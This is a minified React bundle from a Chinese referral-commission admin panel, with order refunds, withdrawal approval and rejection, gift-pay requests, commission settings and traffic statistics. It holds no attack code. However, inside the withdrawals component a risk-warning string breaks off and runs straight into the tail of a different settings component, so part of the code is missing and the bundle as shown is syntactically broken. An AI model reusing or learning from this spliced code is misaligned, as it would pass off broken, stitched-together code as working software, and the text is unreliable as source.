divide-gray-700/50",children:J.map(q=>s.jsxs("tr",{className:"hover:bg-[#0a1628]",children:[s.jsx("td",{className:"p-4 font-mono text-xs text-gray-400",children:q.requestSn}),s.jsx("td",{className:"p-4",children:s.jsx("p",{className:"text-white text-sm",children:q.initiatorNick||q.initiatorUserId})}),s.jsxs("td",{className:"p-4",children:[s.jsxs("p",{className:"text-white",children:[q.productType," · ¥",q.amount.toFixed(2)]}),q.description&&s.jsx("p",{className:"text-gray-500 text-xs",children:q.description})]}),s.jsx("td",{className:"p-4 text-gray-400",children:q.payerNick||(q.payerUserId?q.payerUserId:"-")}),s.jsx("td",{className:"p-4",children:s.jsx(qe,{className:q.status==="paid"?"bg-green-500/20 text-green-400 border-0":q.status==="pending"?"bg-amber-500/20 text-amber-400 border-0":"bg-gray-500/20 text-gray-400 border-0",children:q.status==="paid"?"已支付":q.status==="pending"?"待支付":q.status==="cancelled"?"已取消":"已过期"})}),s.jsx("td",{className:"p-4 text-gray-400 text-sm",children:q.createdAt?new Date(q.createdAt).toLocaleString("zh-CN"):"-"})]},q.id))})]})}),J.length===0&&!g&&s.jsx("p",{className:"text-center py-8 text-gray-500",children:"暂无代付请求"}),ue>20&&s.jsx("div",{className:"mt-4 flex justify-center",children:s.jsx(is,{page:B,totalPages:Math.ceil(ue/20),total:ue,pageSize:20,onPageChange:re,onPageSizeChange:()=>{}})})]})]})})]}),s.jsx(Dt,{open:!!ne,onOpenChange:q=>!q&&fe(null),children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-md",children:[s.jsx(Lt,{children:s.jsx(_t,{className:"text-white",children:"订单退款"})}),ne&&s.jsxs("div",{className:"space-y-4",children:[s.jsxs("p",{className:"text-gray-400 text-sm",children:["订单号:",ne.orderSn||ne.id]}),s.jsxs("p",{className:"text-gray-400 text-sm",children:["退款金额:¥",typeof ne.amount=="number"?ne.amount.toFixed(2):parseFloat(String(ne.amount||"0")).toFixed(2)]}),s.jsxs("div",{children:[s.jsx("label",{className:"text-sm text-gray-400 block mb-2",children:"退款原因(选填)"}),s.jsx("div",{className:"form-input",children:s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white placeholder:text-gray-500",placeholder:"如:用户申请退款",value:xe,onChange:q=>$(q.target.value)})})]}),s.jsx("p",{className:"text-orange-400/80 text-xs",children:"退款将原路退回至用户微信,且无法撤销,请确认后再操作。"})]}),s.jsxs(on,{children:[s.jsx(te,{variant:"outline",className:"border-gray-600 text-gray-300",onClick:()=>fe(null),disabled:H,children:"取消"}),s.jsx(te,{className:"bg-orange-500 hover:bg-orange-600 text-white",onClick:Mt,disabled:H,children:H?"退款中...":"确认退款"})]})]})}),s.jsx(Dt,{open:!!P,onOpenChange:q=>!q&&In(),children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-md",children:[s.jsx(Lt,{children:s.jsx(_t,{className:"text-white",children:"拒绝提现"})}),s.jsxs("div",{className:"space-y-4",children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"拒绝后该笔提现金额将返还用户余额。"}),s.jsxs("div",{children:[s.jsx("label",{className:"text-sm text-gray-400 block mb-2",children:"拒绝原因(必填)"}),s.jsx("div",{className:"form-input",children:s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white placeholder:text-gray-500",placeholder:"请输入拒绝原因",value:V,onChange:q=>z(q.target.value)})})]})]}),s.jsxs(on,{children:[s.jsx(te,{variant:"outline",className:"border-gray-600 text-gray-300",onClick:In,disabled:U,children:"取消"}),s.jsx(te,{className:"bg-red-600 hover:bg-red-700 text-white",onClick:nn,disabled:U||!V.trim(),children:U?"提交中...":"确认拒绝"})]})]})}),t==="settings"&&s.jsx("div",{className:"-mx-8 -mt-6",children:s.jsx(zk,{embedded:!0})})]})}function _P(){const[t,e]=b.useState([]),[n,r]=b.useState({total:0,pendingCount:0,pendingAmount:0,successCount:0,successAmount:0,failedCount:0}),[a,i]=b.useState(!0),[o,c]=b.useState(null),[u,h]=b.useState("all"),[f,m]=b.useState(1),[g,y]=b.useState(10),[N,w]=b.useState(0),[v,k]=b.useState(null),[C,E]=b.useState(null),[T,I]=b.useState(""),[O,L]=b.useState(!1);async function R(){var $,H,oe,P,K,V,z;i(!0),c(null);try{const U=new URLSearchParams({status:u,page:String(f),pageSize:String(g)}),le=await De(`/api/admin/withdrawals?${U}`);if(le!=null&&le.success){const J=le.withdrawals||[];e(J),w(le.total??(($=le.stats)==null?void 0:$.total)??J.length),r({total:((H=le.stats)==null?void 0:H.total)??le.total??J.length,pendingCount:((oe=le.stats)==null?void 0:oe.pendingCount)??0,pendingAmount:((P=le.stats)==null?void 0:P.pendingAmount)??0,successCount:((K=le.stats)==null?void 0:K.successCount)??0,successAmount:((V=le.stats)==null?void 0:V.successAmount)??0,failedCount:((z=le.stats)==null?void 0:z.failedCount)??0})}else c("加载提现记录失败")}catch(U){console.error("Load withdrawals error:",U),c("加载失败,请检查网络后重试")}finally{i(!1)}}b.useEffect(()=>{m(1)},[u]),b.useEffect(()=>{R()},[u,f,g]);const D=Math.ceil(N/g)||1;async function _($){const H=t.find(oe=>oe.id===$);if(H!=null&&H.userCommissionInfo&&H.userCommissionInfo.availableAfterThis<0){if(!confirm(`⚠️ 风险警告:该用户审核后余额为负数(¥${H.userCommissionInfo.availableAfterThis.toFixed(2)}),可能存在超额提现。 +如有缓存,请刷新前台/小程序页面。`)}catch(h){console.error(h),ie.error("保存失败: "+(h instanceof Error?h.message:String(h)))}finally{o(!1)}},u=h=>f=>{const m=parseFloat(f.target.value||"0");n(g=>({...g,[h]:isNaN(m)?0:m}))};return r?s.jsx("div",{className:"p-8 text-gray-500",children:"加载中..."}):s.jsxs("div",{className:"p-8 w-full",children:[s.jsxs("div",{className:"flex justify-between items-center mb-8",children:[s.jsxs("div",{children:[s.jsxs("h2",{className:"text-2xl font-bold text-white flex items-center gap-2",children:[s.jsx(jl,{className:"w-5 h-5 text-[#38bdac]"}),"推广 / 分销设置"]}),s.jsx("p",{className:"text-gray-400 mt-1",children:"统一管理「好友优惠」「你得 90% 收益」「绑定期 30 天」「提现门槛」等规则,小程序和 Web 共用这套配置。"})]}),s.jsxs(te,{onClick:c,disabled:i||r,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(bn,{className:"w-4 h-4 mr-2"}),i?"保存中...":"保存配置"]})]}),s.jsxs("div",{className:"space-y-6",children:[s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{children:[s.jsxs(Qe,{className:"flex items-center gap-2 text-white",children:[s.jsx(fA,{className:"w-4 h-4 text-[#38bdac]"}),"推广规则"]}),s.jsx(It,{className:"text-gray-400",children:"这三项会直接体现在小程序「推广规则」卡片上,同时影响实收佣金计算。"})]}),s.jsx(Ee,{className:"space-y-6",children:s.jsxs("div",{className:"grid grid-cols-3 gap-6",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsxs(X,{className:"text-gray-300 flex items-center gap-2",children:[s.jsx(Su,{className:"w-3 h-3 text-[#38bdac]"}),"好友优惠(%)"]}),s.jsx(se,{type:"number",min:0,max:100,className:"bg-[#0a1628] border-gray-700 text-white",value:e.userDiscount,onChange:u("userDiscount")}),s.jsx("p",{className:"text-xs text-gray-500",children:"例如 5 表示好友立减 5%(在价格配置基础上生效)。"})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsxs(X,{className:"text-gray-300 flex items-center gap-2",children:[s.jsx(Zn,{className:"w-3 h-3 text-[#38bdac]"}),"推广者分成(%)"]}),s.jsxs("div",{className:"flex items-center gap-4",children:[s.jsx(OP,{className:"flex-1",min:10,max:100,step:1,value:[e.distributorShare],onValueChange:([h])=>n(f=>({...f,distributorShare:h}))}),s.jsx(se,{type:"number",min:0,max:100,className:"w-20 bg-[#0a1628] border-gray-700 text-white text-center",value:e.distributorShare,onChange:u("distributorShare")})]}),s.jsxs("p",{className:"text-xs text-gray-500",children:["内容订单佣金 = 订单金额 ×"," ",s.jsxs("span",{className:"text-[#38bdac] font-mono",children:[e.distributorShare,"%"]}),";会员订单见下方。"]})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsxs(X,{className:"text-gray-300 flex items-center gap-2",children:[s.jsx(Su,{className:"w-3 h-3 text-[#38bdac]"}),"会员订单分润(推广者是会员 %)"]}),s.jsx(se,{type:"number",min:0,max:100,className:"bg-[#0a1628] border-gray-700 text-white",value:e.vipOrderShareVip,onChange:u("vipOrderShareVip")}),s.jsx("p",{className:"text-xs text-gray-500",children:"推广者已是会员时,会员订单佣金比例,默认 20%。"})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsxs(X,{className:"text-gray-300 flex items-center gap-2",children:[s.jsx(Su,{className:"w-3 h-3 text-[#38bdac]"}),"会员订单分润(推广者非会员 %)"]}),s.jsx(se,{type:"number",min:0,max:100,className:"bg-[#0a1628] border-gray-700 text-white",value:e.vipOrderShareNonVip,onChange:u("vipOrderShareNonVip")}),s.jsx("p",{className:"text-xs text-gray-500",children:"推广者非会员时,会员订单佣金比例,默认 10%。"})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsxs(X,{className:"text-gray-300 flex items-center gap-2",children:[s.jsx(Zn,{className:"w-3 h-3 text-[#38bdac]"}),"绑定有效期(天)"]}),s.jsx(se,{type:"number",min:1,max:365,className:"bg-[#0a1628] border-gray-700 text-white",value:e.bindingDays,onChange:u("bindingDays")}),s.jsx("p",{className:"text-xs text-gray-500",children:"好友通过你的链接进来并登录后,绑定在你名下的天数。"})]})]})})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{children:[s.jsxs(Qe,{className:"flex items-center gap-2 text-white",children:[s.jsx(jl,{className:"w-4 h-4 text-[#38bdac]"}),"提现规则"]}),s.jsx(It,{className:"text-gray-400",children:"与「提现中心」「自动提现」相关的参数,影响推广者看到的可提现金额和最低门槛。"})]}),s.jsx(Ee,{className:"space-y-6",children:s.jsxs("div",{className:"grid grid-cols-2 gap-6",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"最低提现金额(元)"}),s.jsx(se,{type:"number",min:0,step:1,className:"bg-[#0a1628] border-gray-700 text-white",value:e.minWithdrawAmount,onChange:u("minWithdrawAmount")}),s.jsx("p",{className:"text-xs text-gray-500",children:"小程序「满 X 元可提现」展示的门槛,同时用于后端接口校验。"})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsxs(X,{className:"text-gray-300 flex items-center gap-2",children:["自动提现开关",s.jsx(We,{variant:"outline",className:"border-[#38bdac]/40 text-[#38bdac] text-[10px]",children:"预留"})]}),s.jsxs("div",{className:"flex items-center gap-3 mt-1",children:[s.jsx(kt,{checked:e.enableAutoWithdraw,onCheckedChange:h=>n(f=>({...f,enableAutoWithdraw:h}))}),s.jsx("span",{className:"text-sm text-gray-400",children:"开启后,可结合定时任务实现「收益自动打款到微信零钱」。"})]})]})]})})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:[s.jsx(Ye,{children:s.jsxs(Qe,{className:"flex items-center gap-2 text-gray-200 text-sm",children:[s.jsx(Su,{className:"w-4 h-4 text-[#38bdac]"}),"使用说明"]})}),s.jsxs(Ee,{className:"space-y-2 text-xs text-gray-400 leading-relaxed",children:[s.jsxs("p",{children:["1. 以上配置会写入"," ",s.jsx("code",{className:"font-mono text-[11px] text-[#38bdac]",children:"system_config.referral_config"}),",小程序「推广中心」、Web 推广页以及支付回调都会读取同一份配置。"]}),s.jsx("p",{children:"2. 修改后新订单立即生效;旧订单的历史佣金不会自动重算,只影响之后产生的订单。"}),s.jsx("p",{children:"3. 如遇前端展示与实际结算不一致,优先以此处配置为准,再排查缓存和小程序版本。"})]})]})]})]})}function LP(){var Hn;const[t,e]=b.useState("overview"),[n,r]=b.useState([]),[a,i]=b.useState(null),[o,c]=b.useState([]),[u,h]=b.useState([]),[f,m]=b.useState([]),[g,y]=b.useState(!0),[N,w]=b.useState(null),[v,k]=b.useState(""),[C,E]=b.useState("all"),[T,I]=b.useState(1),[O,L]=b.useState(10),[R,D]=b.useState(0),[z,Z]=b.useState(new Set),[ne,fe]=b.useState(null),[xe,$]=b.useState(""),[H,oe]=b.useState(!1),[P,q]=b.useState(null),[B,_]=b.useState(""),[W,le]=b.useState(!1),[J,Y]=b.useState([]),[V,re]=b.useState(1),[ue,ce]=b.useState(0),[ye,Re]=b.useState("");b.useEffect(()=>{Le()},[]),b.useEffect(()=>{I(1)},[t,C]),b.useEffect(()=>{lt(t)},[t]),b.useEffect(()=>{["orders","bindings","withdrawals"].includes(t)&<(t,!0),t==="giftPay"&<("giftPay",!0)},[T,O,C,v,V,ye]);async function Le(){w(null);try{const K=await De("/api/admin/distribution/overview");K!=null&&K.success&&K.overview&&i(K.overview)}catch(K){console.error("[Admin] 概览接口异常:",K),w("加载概览失败")}try{const K=await De("/api/db/users");m((K==null?void 0:K.users)||[])}catch(K){console.error("[Admin] 用户数据加载失败:",K)}}async function lt(K,Ue=!1){var Je;if(!(!Ue&&z.has(K))){y(!0);try{const xt=f;switch(K){case"overview":break;case"orders":{try{const ct=new URLSearchParams({page:String(T),pageSize:String(O),...C!=="all"&&{status:C},...v&&{search:v}}),nt=await De(`/api/admin/orders?${ct}`);if(nt!=null&&nt.success&&nt.orders){const gt=nt.orders.map(Rt=>{const gn=xt.find(wr=>wr.id===Rt.userId),mr=Rt.referrerId?xt.find(wr=>wr.id===Rt.referrerId):null;return{...Rt,amount:parseFloat(String(Rt.amount))||0,userNickname:(gn==null?void 0:gn.nickname)||Rt.userNickname||"未知用户",userPhone:(gn==null?void 0:gn.phone)||Rt.userPhone||"-",referrerNickname:(mr==null?void 0:mr.nickname)||null,referrerCode:(mr==null?void 0:mr.referralCode)??null,type:Rt.productType||Rt.type}});r(gt),D(nt.total??gt.length)}else r([]),D(0)}catch(ct){console.error(ct),w("加载订单失败"),r([])}break}case"bindings":{try{const ct=new URLSearchParams({page:String(T),pageSize:String(O),...C!=="all"&&{status:C}}),nt=await De(`/api/db/distribution?${ct}`);c((nt==null?void 0:nt.bindings)||[]),D((nt==null?void 0:nt.total)??((Je=nt==null?void 0:nt.bindings)==null?void 0:Je.length)??0)}catch(ct){console.error(ct),w("加载绑定数据失败"),c([])}break}case"withdrawals":{try{const ct=C==="completed"?"success":C==="rejected"?"failed":C,nt=new URLSearchParams({...ct&&ct!=="all"&&{status:ct},page:String(T),pageSize:String(O)}),gt=await De(`/api/admin/withdrawals?${nt}`);if(gt!=null&>.success&>.withdrawals){const Rt=gt.withdrawals.map(gn=>({...gn,account:gn.account??"未绑定微信号",status:gn.status==="success"?"completed":gn.status==="failed"?"rejected":gn.status}));h(Rt),D((gt==null?void 0:gt.total)??Rt.length)}else gt!=null&>.success||w(`获取提现记录失败: ${(gt==null?void 0:gt.error)||"未知错误"}`),h([])}catch(ct){console.error(ct),w("加载提现数据失败"),h([])}break}case"giftPay":{try{const ct=new URLSearchParams({page:String(V),pageSize:"20",...ye&&{status:ye}}),nt=await De(`/api/admin/gift-pay-requests?${ct}`);nt!=null&&nt.success&&nt.data?(Y(nt.data),ce(nt.total??nt.data.length)):(Y([]),ce(0))}catch(ct){console.error(ct),w("加载代付请求失败"),Y([])}break}}Z(ct=>new Set(ct).add(K))}catch(xt){console.error(xt)}finally{y(!1)}}}async function Tt(){w(null),Z(K=>{const Ue=new Set(K);return Ue.delete(t),Ue}),t==="overview"&&Le(),await lt(t,!0)}async function ln(K){if(confirm("确认审核通过并打款?"))try{const Ue=await zt("/api/admin/withdrawals",{id:K,action:"approve"});if(!(Ue!=null&&Ue.success)){const Je=(Ue==null?void 0:Ue.message)||(Ue==null?void 0:Ue.error)||"操作失败";ie.error(Je);return}await Tt()}catch(Ue){console.error(Ue),ie.error("操作失败")}}function yt(K){q(K),_("")}async function nn(){const K=P;if(!K)return;const Ue=B.trim();if(!Ue){ie.error("请填写拒绝原因");return}le(!0);try{const Je=await zt("/api/admin/withdrawals",{id:K,action:"reject",errorMessage:Ue});if(!(Je!=null&&Je.success)){ie.error((Je==null?void 0:Je.error)||"操作失败");return}ie.success("已拒绝该提现申请"),q(null),_(""),await Tt()}catch(Je){console.error(Je),ie.error("操作失败")}finally{le(!1)}}function In(){P&&ie.info("已取消操作"),q(null),_("")}async function Mt(){var K;if(!(!(ne!=null&&ne.orderSn)&&!(ne!=null&&ne.id))){oe(!0),w(null);try{const Ue=await zt("/api/admin/orders/refund",{orderSn:ne.orderSn||ne.id,reason:xe||void 0});Ue!=null&&Ue.success?(fe(null),$(""),await lt("orders",!0)):w((Ue==null?void 0:Ue.error)||"退款失败")}catch(Ue){const Je=Ue;w(((K=Je==null?void 0:Je.data)==null?void 0:K.error)||"退款失败,请检查网络后重试")}finally{oe(!1)}}}function Yt(K){const Ue={active:"bg-green-500/20 text-green-400",converted:"bg-blue-500/20 text-blue-400",expired:"bg-gray-500/20 text-gray-400",cancelled:"bg-red-500/20 text-red-400",pending:"bg-orange-500/20 text-orange-400",pending_confirm:"bg-orange-500/20 text-orange-400",processing:"bg-blue-500/20 text-blue-400",completed:"bg-green-500/20 text-green-400",rejected:"bg-red-500/20 text-red-400"},Je={active:"有效",converted:"已转化",expired:"已过期",cancelled:"已取消",pending:"待审核",pending_confirm:"待用户确认",processing:"处理中",completed:"已完成",rejected:"已拒绝"};return s.jsx(We,{className:`${Ue[K]||"bg-gray-500/20 text-gray-400"} border-0`,children:Je[K]||K})}const rn=Math.ceil(R/O)||1,Rn=n,pr=o.filter(K=>{var Je,xt,ct,nt;if(!v)return!0;const Ue=v.toLowerCase();return((Je=K.refereeNickname)==null?void 0:Je.toLowerCase().includes(Ue))||((xt=K.refereePhone)==null?void 0:xt.includes(Ue))||((ct=K.referrerName)==null?void 0:ct.toLowerCase().includes(Ue))||((nt=K.referrerCode)==null?void 0:nt.toLowerCase().includes(Ue))}),Pn=u.filter(K=>{var Je;if(!v)return!0;const Ue=v.toLowerCase();return((Je=K.userName)==null?void 0:Je.toLowerCase().includes(Ue))||K.account&&K.account.toLowerCase().includes(Ue)});return s.jsxs("div",{className:"p-8 w-full",children:[N&&s.jsxs("div",{className:"mb-4 px-4 py-3 rounded-lg bg-red-500/20 border border-red-500/50 text-red-400 text-sm flex items-center justify-between",children:[s.jsx("span",{children:N}),s.jsx("button",{type:"button",onClick:()=>w(null),className:"hover:text-red-300",children:"×"})]}),s.jsxs("div",{className:"flex items-center justify-between mb-8",children:[s.jsxs("div",{children:[s.jsx("h1",{className:"text-2xl font-bold text-white",children:"推广中心"}),s.jsx("p",{className:"text-gray-400 mt-1",children:"统一管理:订单、分销绑定、提现审核"})]}),s.jsxs(te,{onClick:Tt,disabled:g,variant:"outline",className:"border-gray-700 text-gray-300 hover:bg-gray-800",children:[s.jsx(qe,{className:`w-4 h-4 mr-2 ${g?"animate-spin":""}`}),"刷新数据"]})]}),s.jsx("div",{className:"flex gap-2 mb-6 border-b border-gray-700 pb-4 flex-wrap",children:[{key:"overview",label:"数据概览",icon:$c},{key:"orders",label:"订单管理",icon:dh},{key:"bindings",label:"绑定管理",icon:Ss},{key:"withdrawals",label:"提现审核",icon:jl},{key:"giftPay",label:"代付请求",icon:Xw},{key:"settings",label:"推广设置",icon:lo}].map(K=>s.jsxs("button",{type:"button",onClick:()=>{e(K.key),E("all"),k(""),K.key==="giftPay"&&(Re(""),re(1))},className:`flex items-center gap-2 px-4 py-2 rounded-lg text-sm font-medium transition-colors ${t===K.key?"bg-[#38bdac] text-white":"text-gray-400 hover:text-white hover:bg-gray-800"}`,children:[s.jsx(K.icon,{className:"w-4 h-4"}),K.label]},K.key))}),g?s.jsxs("div",{className:"flex items-center justify-center py-20",children:[s.jsx(qe,{className:"w-8 h-8 text-[#38bdac] animate-spin"}),s.jsx("span",{className:"ml-2 text-gray-400",children:"加载中..."})]}):s.jsxs(s.Fragment,{children:[t==="overview"&&a&&s.jsxs("div",{className:"space-y-6",children:[s.jsxs("div",{className:"grid grid-cols-4 gap-4",children:[s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:s.jsx(Ee,{className:"p-6",children:s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsxs("div",{children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"今日点击"}),s.jsx("p",{className:"text-2xl font-bold text-white mt-1",children:a.todayClicks}),s.jsx("p",{className:"text-xs text-gray-500 mt-0.5",children:"总点击次数(实时)"})]}),s.jsx("div",{className:"w-12 h-12 rounded-xl bg-blue-500/20 flex items-center justify-center",children:s.jsx(Ig,{className:"w-6 h-6 text-blue-400"})})]})})}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:s.jsx(Ee,{className:"p-6",children:s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsxs("div",{children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"今日独立用户"}),s.jsx("p",{className:"text-2xl font-bold text-white mt-1",children:a.todayUniqueVisitors??0}),s.jsx("p",{className:"text-xs text-gray-500 mt-0.5",children:"去重访客数(实时)"})]}),s.jsx("div",{className:"w-12 h-12 rounded-xl bg-cyan-500/20 flex items-center justify-center",children:s.jsx(Zn,{className:"w-6 h-6 text-cyan-400"})})]})})}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:s.jsx(Ee,{className:"p-6",children:s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsxs("div",{children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"今日总文章点击率"}),s.jsx("p",{className:"text-2xl font-bold text-white mt-1",children:(a.todayClickRate??0).toFixed(2)}),s.jsx("p",{className:"text-xs text-gray-500 mt-0.5",children:"人均点击(总点击/独立用户)"})]}),s.jsx("div",{className:"w-12 h-12 rounded-xl bg-amber-500/20 flex items-center justify-center",children:s.jsx($c,{className:"w-6 h-6 text-amber-400"})})]})})}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:s.jsx(Ee,{className:"p-6",children:s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsxs("div",{children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"今日绑定"}),s.jsx("p",{className:"text-2xl font-bold text-white mt-1",children:a.todayBindings})]}),s.jsx("div",{className:"w-12 h-12 rounded-xl bg-green-500/20 flex items-center justify-center",children:s.jsx(Ss,{className:"w-6 h-6 text-green-400"})})]})})}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:s.jsx(Ee,{className:"p-6",children:s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsxs("div",{children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"今日转化"}),s.jsx("p",{className:"text-2xl font-bold text-white mt-1",children:a.todayConversions})]}),s.jsx("div",{className:"w-12 h-12 rounded-xl bg-purple-500/20 flex items-center justify-center",children:s.jsx($v,{className:"w-6 h-6 text-purple-400"})})]})})}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:s.jsx(Ee,{className:"p-6",children:s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsxs("div",{children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"今日佣金"}),s.jsxs("p",{className:"text-2xl font-bold text-[#38bdac] mt-1",children:["¥",a.todayEarnings.toFixed(2)]})]}),s.jsx("div",{className:"w-12 h-12 rounded-xl bg-[#38bdac]/20 flex items-center justify-center",children:s.jsx(dh,{className:"w-6 h-6 text-[#38bdac]"})})]})})})]}),(((Hn=a.todayClicksByPage)==null?void 0:Hn.length)??0)>0&&s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:[s.jsxs(Ye,{children:[s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(Ig,{className:"w-5 h-5 text-[#38bdac]"}),"每篇文章今日点击(按来源页/文章统计)"]}),s.jsx("p",{className:"text-gray-400 text-sm mt-1",children:"实际用户与实际文章的点击均计入;今日总点击与上表一致"})]}),s.jsx(Ee,{children:s.jsx("div",{className:"overflow-x-auto",children:s.jsxs("table",{className:"w-full text-sm",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-gray-700 text-left text-gray-400",children:[s.jsx("th",{className:"pb-3 pr-4",children:"来源页/文章"}),s.jsx("th",{className:"pb-3 pr-4 text-right",children:"今日点击"}),s.jsx("th",{className:"pb-3 text-right",children:"占比"})]})}),s.jsx("tbody",{children:[...a.todayClicksByPage??[]].sort((K,Ue)=>Ue.clicks-K.clicks).map((K,Ue)=>s.jsxs("tr",{className:"border-b border-gray-700/50",children:[s.jsx("td",{className:"py-2 pr-4 text-white font-mono",children:K.page||"(未区分)"}),s.jsx("td",{className:"py-2 pr-4 text-right text-white",children:K.clicks}),s.jsxs("td",{className:"py-2 text-right text-gray-400",children:[a.todayClicks>0?(K.clicks/a.todayClicks*100).toFixed(1):0,"%"]})]},Ue))})]})})})]}),s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsx(Ce,{className:"bg-orange-500/10 border-orange-500/30",children:s.jsx(Ee,{className:"p-6",children:s.jsxs("div",{className:"flex items-center gap-4",children:[s.jsx("div",{className:"w-12 h-12 rounded-xl bg-orange-500/20 flex items-center justify-center",children:s.jsx(Ag,{className:"w-6 h-6 text-orange-400"})}),s.jsxs("div",{className:"flex-1",children:[s.jsx("p",{className:"text-orange-300 font-medium",children:"即将过期绑定"}),s.jsxs("p",{className:"text-2xl font-bold text-white",children:[a.expiringBindings," 个"]}),s.jsx("p",{className:"text-orange-300/60 text-sm",children:"7天内到期,需关注转化"})]})]})})}),s.jsx(Ce,{className:"bg-blue-500/10 border-blue-500/30",children:s.jsx(Ee,{className:"p-6",children:s.jsxs("div",{className:"flex items-center gap-4",children:[s.jsx("div",{className:"w-12 h-12 rounded-xl bg-blue-500/20 flex items-center justify-center",children:s.jsx(jl,{className:"w-6 h-6 text-blue-400"})}),s.jsxs("div",{className:"flex-1",children:[s.jsx("p",{className:"text-blue-300 font-medium",children:"待审核提现"}),s.jsxs("p",{className:"text-2xl font-bold text-white",children:[a.pendingWithdrawals," 笔"]}),s.jsxs("p",{className:"text-blue-300/60 text-sm",children:["共 ¥",a.pendingWithdrawAmount.toFixed(2)]})]}),s.jsx(te,{onClick:()=>e("withdrawals"),variant:"outline",className:"border-blue-500/50 text-blue-400 hover:bg-blue-500/20",children:"去审核"})]})})})]}),s.jsxs("div",{className:"grid grid-cols-2 gap-6",children:[s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:[s.jsx(Ye,{children:s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(ch,{className:"w-5 h-5 text-[#38bdac]"}),"本月统计"]})}),s.jsx(Ee,{children:s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"p-4 bg-white/5 rounded-lg",children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"点击量"}),s.jsx("p",{className:"text-xl font-bold text-white",children:a.monthClicks})]}),s.jsxs("div",{className:"p-4 bg-white/5 rounded-lg",children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"绑定数"}),s.jsx("p",{className:"text-xl font-bold text-white",children:a.monthBindings})]}),s.jsxs("div",{className:"p-4 bg-white/5 rounded-lg",children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"转化数"}),s.jsx("p",{className:"text-xl font-bold text-white",children:a.monthConversions})]}),s.jsxs("div",{className:"p-4 bg-white/5 rounded-lg",children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"佣金"}),s.jsxs("p",{className:"text-xl font-bold text-[#38bdac]",children:["¥",a.monthEarnings.toFixed(2)]})]})]})})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:[s.jsx(Ye,{children:s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx($c,{className:"w-5 h-5 text-[#38bdac]"}),"累计统计"]})}),s.jsxs(Ee,{children:[s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"p-4 bg-white/5 rounded-lg",children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"总点击"}),s.jsx("p",{className:"text-xl font-bold text-white",children:a.totalClicks.toLocaleString()})]}),s.jsxs("div",{className:"p-4 bg-white/5 rounded-lg",children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"总绑定"}),s.jsx("p",{className:"text-xl font-bold text-white",children:a.totalBindings.toLocaleString()})]}),s.jsxs("div",{className:"p-4 bg-white/5 rounded-lg",children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"总转化"}),s.jsx("p",{className:"text-xl font-bold text-white",children:a.totalConversions})]}),s.jsxs("div",{className:"p-4 bg-white/5 rounded-lg",children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"总佣金"}),s.jsxs("p",{className:"text-xl font-bold text-[#38bdac]",children:["¥",a.totalEarnings.toFixed(2)]})]})]}),s.jsxs("div",{className:"mt-4 p-4 bg-[#38bdac]/10 rounded-lg flex items-center justify-between",children:[s.jsx("span",{className:"text-gray-300",children:"点击转化率"}),s.jsxs("span",{className:"text-[#38bdac] font-bold text-xl",children:[a.conversionRate,"%"]})]})]})]})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:[s.jsx(Ye,{children:s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(Zn,{className:"w-5 h-5 text-[#38bdac]"}),"推广统计"]})}),s.jsx(Ee,{children:s.jsxs("div",{className:"grid grid-cols-4 gap-4",children:[s.jsxs("div",{className:"p-4 bg-white/5 rounded-lg text-center",children:[s.jsx("p",{className:"text-3xl font-bold text-white",children:a.totalDistributors}),s.jsx("p",{className:"text-gray-400 text-sm 